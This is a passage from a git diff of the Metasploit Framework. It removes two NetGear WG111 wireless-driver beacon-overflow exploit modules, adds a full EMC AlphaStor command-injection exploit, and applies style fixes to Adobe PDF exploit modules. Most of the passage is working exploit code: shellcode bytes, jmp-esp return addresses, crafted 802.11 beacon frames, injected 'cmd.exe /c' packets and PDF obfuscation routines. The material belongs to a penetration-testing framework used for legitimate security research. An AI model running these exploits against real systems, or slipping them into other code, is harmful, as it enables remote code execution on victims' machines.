2) Send a single rates IE field with valid rates, follow with IE type 0x32 with long data -# 3) Send two IE rates fields, with the second one containing the long data (this exploit) -# - - def create_beacon - - ssid = rand_text_alphanumeric(6) - bssid = ("\x00" * 2) + rand_text(4) - src = ("\x90" * 4) + "\xeb\x2b" - seq = [rand(255)].pack('n') - - buff = rand_text(75) - buff[0, 2] = "\xeb\x49" - buff[71, 4] = [target.ret].pack('V') - - frame = - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - src + # src - bssid + # bssid - seq + # seq - rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - "\x00\x05" + # capability flags - - # ssid tag - "\x00" + ssid.length.chr + ssid + - - # supported rates - "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + - - # current channel - "\x03" + "\x01" + channel.chr + - - # eip was his name-o - "\x01" + buff.length.chr + buff + - - payload.encoded - - return frame - end - -end diff --git a/modules/exploits/windows/driver/netgear_wg111_beacon.rb b/modules/exploits/windows/driver/netgear_wg111_beacon.rb deleted file mode 100644 index 05b705e909..0000000000 --- a/modules/exploits/windows/driver/netgear_wg111_beacon.rb +++ /dev/null @@ -1,208 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = LowRanking - - include Msf::Exploit::Lorcon2 - include Msf::Exploit::KernelMode - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'NetGear WG111v2 Wireless Driver Long Beacon Overflow', - 'Description' => %q{ - This module exploits a stack buffer overflow in the NetGear WG111v2 wireless - device driver. This stack buffer overflow allows remote code execution in kernel mode. - The stack buffer overflow is triggered when a 802.11 Beacon frame is received that - contains more than 1100 bytes worth of information elements. - - This exploit was tested with version 5.1213.6.316 of the WG111v2.SYS driver and - a NetGear WG111v2 USB adapter. Since this vulnerability is exploited via beacon frames, - all cards within range of the attack will be affected. The tested adapter used - a MAC address in the range of 00:18:4d:02:XX:XX. - - Vulnerable clients will need to have their card in a non-associated state - for this exploit to work. The easiest way to reproduce this bug is by starting - the exploit and then unplugging and reinserting the USB card. The exploit can - take up to a minute to execute the payload, depending on system activity. - - NetGear was NOT contacted about this flaw. A search of the SecurityFocus - database indicates that NetGear has not provided an official patch or - solution for any of the thirty flaws listed at the time of writing. This list - includes BIDs: 1010, 3876, 4024, 4111, 5036, 5667, 5830, 5943, 5940, 6807, 7267, 7270, - 7371, 7367, 9194, 10404, 10459, 10585, 10935, 11580, 11634, 12447, 15816, 16837, - 16835, 19468, and 19973. - - This module depends on the Lorcon2 library and only works on the Linux platform - with a supported wireless card. Please see the Ruby Lorcon2 documentation - (external/ruby-lorcon/README) for more information. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2006-5972'], - ['OSVDB', '30473'], - ['URL', 'http://projects.info-pull.com/mokb/MOKB-16-11-2006.html'], - ], - 'Privileged' => true, - - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - 'Payload' => - { - # Its a beautiful day in the neighborhood... - 'Space' => 1000, - }, - 'Platform' => 'win', - 'Targets' => - [ - # Windows XP SP2 with the latest updates - # 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519) - [ 'Windows XP SP2 (5.1.2600.2122), WG111v2.SYS 5.1213.6.316', - { - 'Ret' => 0x80502d7f, # jmp esp - 'Platform' => 'win', - 'Payload' => - { - 'ExtendedOptions' => - { - 'Stager' => 'sud_syscall_hook', - 'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500 - 'Recovery' => 'idlethread_restart', - 'KiIdleLoopAddress' => 0x804dbb27, - } - } - } - ], - - # Windows XP SP2 install media, no patches - # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158) - [ 'Windows XP SP2 (5.1.2600.2180), WG111v2.SYS 5.1213.6.316', - { - 'Ret' => 0x804ed5cb, # jmp esp - 'Platform' => 'win', - 'Payload' => - { - 'ExtendedOptions' => - { - 'Stager' => 'sud_syscall_hook', - 'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500 - 'Recovery' => 'idlethread_restart', - 'KiIdleLoopAddress' => 0x804dc0c7, - } - } - } - ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Nov 16 2006')) - - register_options( - [ - OptString.new('ADDR_DST', [ true, "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']), - OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60]) - ], self.class) - end - - def exploit - open_wifi - - stime = Time.now.to_i - rtime = datastore['RUNTIME'].to_i - count = 0 - - print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...") - while (stime + rtime > Time.now.to_i) - wifi.write(create_beacon) - select(nil, nil, nil, 0.10) if (count % 100 == 0) - - count += 1 - - # Exit if we get a session - break if session_created? - end - - print_status("Completed sending beacons.") - end - - # Convert arbitrary data into a series of information elements - def ie_padding(data) - ret = 0 - idx = 0 - len = 0 - - while(idx < data.length) - len = data[idx+1] - if (! len) - data << "\x00" - len = 0 - end - - idx += len + 2 - end - - data << yield(idx - data.length) - end - - def create_beacon - - ssid = rand_text_alphanumeric(16) - bssid = ("\x00" * 2) + rand_text(4) - src = ("\x00" * 2) + rand_text(4) - seq = [rand(255)].pack('n') - stamp = rand_text(8) - - frame = - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - src + # src - bssid + # bssid - seq + # seq - stamp + # timestamp value - "\x64\x00" + # beacon interval - rand_text(2) + # capability flags - - # ssid tag - "\x00" + ssid.length.chr + ssid + - - # supported rates - "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + - - # current channel - "\x03" + "\x01" + channel.chr - - # Bounce through EDI to the uncorrupted payload - jumper = - "\x6a\x39" + # push byte +0x39 - "\x58" + # pop eax - "\x01\xc7" + # add edi, eax - "\xff\xe7" # jmp edi - - # Overwrite enough to pop the return - buf = rand_text(1160) - - # Kernel-mode stager fun goes here - buf[0, payload.encoded.length] = payload.encoded - - # Return address is a jmp ESP - buf[1101, 4] = [ target.ret ].pack('V') - - # Jump back to EDI + 0x39 - buf[1113, jumper.length] = jumper - - # Pad it out to be a valid set of IEs - frame << ie_padding(buf) {|c| rand_text(c) } - - return frame - end - -end diff --git a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb index aa3c44ad24..b688132db1 100644 --- a/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/email/ms07_017_ani_loadimage_chunksize.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb index b8f622c28b..9f479be312 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb index 6b79c11564..609af5543f 100644 --- a/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb +++ b/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/emc/alphastor_agent.rb b/modules/exploits/windows/emc/alphastor_agent.rb index 121debaf69..07697ef91d 100644 --- a/modules/exploits/windows/emc/alphastor_agent.rb +++ b/modules/exploits/windows/emc/alphastor_agent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/emc/alphastor_device_manager_exec.rb b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb new file mode 100644 index 0000000000..1ac3b2d0fd --- /dev/null +++ b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb @@ -0,0 +1,121 @@ +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'EMC AlphaStor Device Manager Opcode 0x75 Command Injection', + 'Description' => %q{ + This module exploits a flaw within the Device Manager (rrobtd.exe). When parsing the 0x75 + command, the process does not properly filter user supplied input allowing for arbitrary + command injection. This module has been tested successfully on EMC AlphaStor 4.0 build 116 + with Windows 2003 SP2 and Windows 2008 R2. + }, + 'Author' => + [ + 'Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability Discovery + 'Preston Thornburn <prestonthornburg[at]gmail.com>', # msf module + 'Mohsan Farid <faridms[at]gmail.com>', # msf module + 'Brent Morris <inkrypto[at]gmail.com>', # msf module + 'juan vazquez' # convert aux module into exploit + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-0928'], + ['ZDI', '13-033'] + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'EMC AlphaStor 4.0 < build 800 / Windows Universal', {} ] + ], + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 18 2013')) + + register_options( + [ + Opt::RPORT(3000) + ], self.class ) + end + + def check + packet = "\x75~ mminfo & #{rand_text_alpha(512)}" + res = send_packet(packet) + if res && res =~ /Could not fork command/ + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Unknown + end + + def exploit + execute_cmdstager({ :linemax => 487 }) + end + + def execute_command(cmd, opts) + padding = rand_text_alpha_upper(489 - cmd.length) + packet = "\x75~ mminfo &cmd.exe /c #{cmd} & #{padding}"# #{padding}" + connect + sock.put(packet) + begin + sock.get_once + rescue EOFError + fail_with(Failure::Unknown, "Failed to deploy CMD Stager") + end + disconnect + end + + def execute_cmdstager_begin(opts) + if flavor =~ /vbs/ && self.decoder =~ /vbs_b64/ + cmd_list.each do |cmd| + cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\")") + end + end + end + + def send_packet(packet) + connect + + sock.put(packet) + begin + meta_data = sock.get_once(8) + rescue EOFError + meta_data = nil + end + + unless meta_data + disconnect + return nil + end + + code, length = meta_data.unpack("N*") + + unless code == 1 + disconnect + return nil + end + + begin + data = sock.get_once(length) + rescue EOFError + data = nil + ensure + disconnect + end + + data + end + +end diff --git a/modules/exploits/windows/emc/networker_format_string.rb b/modules/exploits/windows/emc/networker_format_string.rb index af69dbf56e..a3968a6e0a 100644 --- a/modules/exploits/windows/emc/networker_format_string.rb +++ b/modules/exploits/windows/emc/networker_format_string.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -74,9 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit begin - if (not sunrpc_create('tcp', 0x5F3DD, 2)) - fail_with(Failure::Unknown, 'sunrpc_create failed') - end + sunrpc_create('tcp', 0x5F3DD, 2) fs = "%n" * target['Offset'] fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index 0a9e6b7710..9857929c06 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote # Tested on Windows XP and Windows 2003 [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ] ], + 'CmdStagerFlavor' => 'vbs', 'DefaultOptions' => { 'WfsDelay' => 5 diff --git a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb index 34c0e3be56..d356673194 100644 --- a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb +++ b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/abbs_amp_lst.rb b/modules/exploits/windows/fileformat/abbs_amp_lst.rb index d169f77e6d..b5b5df41ca 100644 --- a/modules/exploits/windows/fileformat/abbs_amp_lst.rb +++ b/modules/exploits/windows/fileformat/abbs_amp_lst.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb index bc02e9af0a..d3ba10d458 100644 --- a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb +++ b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/acdsee_xpm.rb b/modules/exploits/windows/fileformat/acdsee_xpm.rb index b853661b63..d0e2e16721 100644 --- a/modules/exploits/windows/fileformat/acdsee_xpm.rb +++ b/modules/exploits/windows/fileformat/acdsee_xpm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb index 4129e6df9d..d6a3a68beb 100644 --- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb +++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -105,4 +105,4 @@ class Metasploit3 < Msf::Exploit::Remote file_create(file) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/fileformat/activepdf_webgrabber.rb b/modules/exploits/windows/fileformat/activepdf_webgrabber.rb index 7e57d22a96..b53d2e1068 100644 --- a/modules/exploits/windows/fileformat/activepdf_webgrabber.rb +++ b/modules/exploits/windows/fileformat/activepdf_webgrabber.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb b/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb index 9cf64fcc4e..63bc9c8fcf 100644 --- a/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb +++ b/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote file_create(pdf) end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -106,16 +106,16 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' @@ -127,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote result end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -145,20 +145,20 @@ class Metasploit3 < Msf::Exploit::Remote # Randomize PDF version? pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol xref << pdf.length - pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj + pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj xref << pdf.length - pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj + pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length - pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj + pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj xref << pdf.length - pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj + pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length - pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj + pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -170,7 +170,7 @@ class Metasploit3 < Msf::Exploit::Remote xref.each do |index| pdf << "%010d 00000 n" % index << eol end - pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index 8981c71e98..6af35d6482 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -330,7 +330,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; js end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -338,17 +338,17 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; result end - def ioDef(id) + def io_def(id) "%d 0 obj \n" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def n_obfu(str) #return str result = "" str.scan(/./u) do |c| @@ -362,7 +362,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; end - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) result = "" whitespace = "" str.each_byte do |b| @@ -383,73 +383,73 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # Randomize PDF version? pdf = "%PDF-1.5" << eol - pdf << "%" << RandomNonASCIIString(4) << eol + pdf << "%" << random_non_ascii_string(4) << eol # catalog xref << pdf.length - pdf << ioDef(1) << nObfu("<<") << eol - pdf << nObfu("/Pages ") << ioRef(2) << eol - pdf << nObfu("/Type /Catalog") << eol - pdf << nObfu("/OpenAction ") << ioRef(11) << eol + pdf << io_def(1) << n_obfu("<<") << eol + pdf << n_obfu("/Pages ") << io_ref(2) << eol + pdf << n_obfu("/Type /Catalog") << eol + pdf << n_obfu("/OpenAction ") << io_ref(11) << eol # The AcroForm is required to get icucnv36.dll to load - pdf << nObfu("/AcroForm ") << ioRef(13) << eol - pdf << nObfu(">>") << eol + pdf << n_obfu("/AcroForm ") << io_ref(13) << eol + pdf << n_obfu(">>") << eol pdf << endobj # pages array xref << pdf.length - pdf << ioDef(2) << nObfu("<<") << eol - pdf << nObfu("/MediaBox ") << ioRef(3) << eol - pdf << nObfu("/Resources ") << ioRef(4) << eol - pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol - pdf << nObfu("/Count 1") << eol - pdf << nObfu("/Type /Pages") << eol - pdf << nObfu(">>") << eol + pdf << io_def(2) << n_obfu("<<") << eol + pdf << n_obfu("/MediaBox ") << io_ref(3) << eol + pdf << n_obfu("/Resources ") << io_ref(4) << eol + pdf << n_obfu("/Kids [") << io_ref(5) << "]" << eol + pdf << n_obfu("/Count 1") << eol + pdf << n_obfu("/Type /Pages") << eol + pdf << n_obfu(">>") << eol pdf << endobj # media box xref << pdf.length - pdf << ioDef(3) + pdf << io_def(3) pdf << "[0 0 595 842]" << eol pdf << endobj # resources xref << pdf.length - pdf << ioDef(4) - pdf << nObfu("<<") << eol - pdf << nObfu("/Font ") << ioRef(6) << eol + pdf << io_def(4) + pdf << n_obfu("<<") << eol + pdf << n_obfu("/Font ") << io_ref(6) << eol pdf << ">>" << eol pdf << endobj # page 1 xref << pdf.length - pdf << ioDef(5) << nObfu("<<") << eol - pdf << nObfu("/Parent ") << ioRef(2) << eol - pdf << nObfu("/MediaBox ") << ioRef(3) << eol - pdf << nObfu("/Resources ") << ioRef(4) << eol - pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol - pdf << nObfu("/Type /Page") << eol - pdf << nObfu(">>") << eol # end obj dict + pdf << io_def(5) << n_obfu("<<") << eol + pdf << n_obfu("/Parent ") << io_ref(2) << eol + pdf << n_obfu("/MediaBox ") << io_ref(3) << eol + pdf << n_obfu("/Resources ") << io_ref(4) << eol + pdf << n_obfu("/Contents [") << io_ref(8) << n_obfu("]") << eol + pdf << n_obfu("/Type /Page") << eol + pdf << n_obfu(">>") << eol # end obj dict pdf << endobj # font xref << pdf.length - pdf << ioDef(6) << nObfu("<<") << eol - pdf << nObfu("/F1 ") << ioRef(7) << eol + pdf << io_def(6) << n_obfu("<<") << eol + pdf << n_obfu("/F1 ") << io_ref(7) << eol pdf << ">>" << eol pdf << endobj # ttf object xref << pdf.length - pdf << ioDef(7) << nObfu("<<") << eol - pdf << nObfu("/Type /Font") << eol - pdf << nObfu("/Subtype /TrueType") << eol - pdf << nObfu("/Name /F1") << eol - pdf << nObfu("/BaseFont /Cinema") << eol - pdf << nObfu("/Widths []") << eol - pdf << nObfu("/FontDescriptor ") << ioRef(9) - pdf << nObfu("/Encoding /MacRomanEncoding") - pdf << nObfu(">>") << eol + pdf << io_def(7) << n_obfu("<<") << eol + pdf << n_obfu("/Type /Font") << eol + pdf << n_obfu("/Subtype /TrueType") << eol + pdf << n_obfu("/Name /F1") << eol + pdf << n_obfu("/BaseFont /Cinema") << eol + pdf << n_obfu("/Widths []") << eol + pdf << n_obfu("/FontDescriptor ") << io_ref(9) + pdf << n_obfu("/Encoding /MacRomanEncoding") + pdf << n_obfu(">>") << eol pdf << endobj # page content @@ -464,8 +464,8 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; "ET" xref << pdf.length - pdf << ioDef(8) << "<<" << eol - pdf << nObfu("/Length %s" % content.length) << eol + pdf << io_def(8) << "<<" << eol + pdf << n_obfu("/Length %s" % content.length) << eol pdf << ">>" << eol pdf << "stream" << eol pdf << content << eol @@ -474,18 +474,18 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # font descriptor xref << pdf.length - pdf << ioDef(9) << nObfu("<<") - pdf << nObfu("/Type/FontDescriptor/FontName/Cinema") - pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17)) - pdf << nObfu("/FontBBox [-177 -269 1123 866]") - pdf << nObfu("/FontFile2 ") << ioRef(10) - pdf << nObfu(">>") << eol + pdf << io_def(9) << n_obfu("<<") + pdf << n_obfu("/Type/FontDescriptor/FontName/Cinema") + pdf << n_obfu("/Flags %d" % (2**2 + 2**6 + 2**17)) + pdf << n_obfu("/FontBBox [-177 -269 1123 866]") + pdf << n_obfu("/FontFile2 ") << io_ref(10) + pdf << n_obfu(">>") << eol pdf << endobj # ttf stream xref << pdf.length compressed = Zlib::Deflate.deflate(ttf) - pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol + pdf << io_def(10) << n_obfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -493,15 +493,15 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # js action xref << pdf.length - pdf << ioDef(11) << nObfu("<<") - pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12) - pdf << nObfu(">>") << eol + pdf << io_def(11) << n_obfu("<<") + pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(12) + pdf << n_obfu(">>") << eol pdf << endobj # js stream xref << pdf.length - compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) - pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol + compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js)) + pdf << io_def(12) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol @@ -513,8 +513,8 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # form object xref << pdf.length - pdf << ioDef(13) - pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol + pdf << io_def(13) + pdf << n_obfu("<</XFA ") << io_ref(14) << n_obfu(">>") << eol pdf << endobj # form stream @@ -531,7 +531,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; EOF xref << pdf.length - pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol + pdf << io_def(14) << n_obfu("<</Length %s>>" % xfa.length) << eol pdf << "stream" << eol pdf << xfa << eol pdf << "endstream" << eol @@ -552,7 +552,7 @@ EOF end pdf << "trailer" << eol - pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol + pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb index 2f7ce5db44..57d50e1f20 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -245,7 +245,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; js end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -253,17 +253,17 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; result end - def ioDef(id) + def io_def(id) "%d 0 obj\n" % id end - def ioRef(id) + def 